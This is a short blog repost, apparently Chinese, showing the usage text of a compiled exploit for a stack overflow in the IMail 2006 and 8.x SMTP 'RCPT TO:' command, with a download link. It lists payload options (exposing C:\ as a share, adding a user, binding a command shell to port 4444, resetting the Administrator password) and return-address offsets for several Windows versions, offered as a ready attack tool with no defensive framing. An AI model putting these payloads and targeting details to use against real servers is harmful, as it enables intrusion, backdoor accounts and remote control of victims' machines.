来自：齐总的blog
C:\>imail2006_8.x_1.exe
IMail 2006 and 8.x SMTP 'RCPT TO:' Stack Overflow Exploit
Coded by Greg Linares < glinares.code [at] GMAIL [dot] com >
Usage: imail2006_8.x_1.exe [hostname] [port] <Payload> <JMP>
Default port is 25
==============================
Payload Options: 1 = Default
==============================
1 = Share C:\ as 'Export' Share
2 = Add User 'Error' with Password 'Error'
3 = Win32 Bind CMD to Port 4444
4 = Change Administrator Password to 'p@ssw0rd'
==============================
JMP Options: 1 = Default
==============================
1 = IMAIL 8.x SMTPDLL.DLL [pop ebp, ret] 0x10036f71
2 = Win2003 SP1 English NTDLL.DLL [pop ebp, ret] 0x7c87d8af
3 = Win2003 SP0 English USER32.DLL [pop ebp, ret] 0x77d02289
4 = WinXP SP2 English NTDLL.DLL [pop ebp, ret] 0x7c967e23
5 = WinXP SP1 - SP0 English USER32.DLL [pop ebp, ret] 0x71ab389c
6 = Win2000 Universal English USER32.DLL [pop ebp, ret] 0x75021397
7 = Win2000 Universal French USER32.DLL [pop ebp, ret] 0x74fa1397
8 = Windows XP SP1 - SP2 German USER32.DLL [pop ebp, ret] 0x77d18c14

点击下载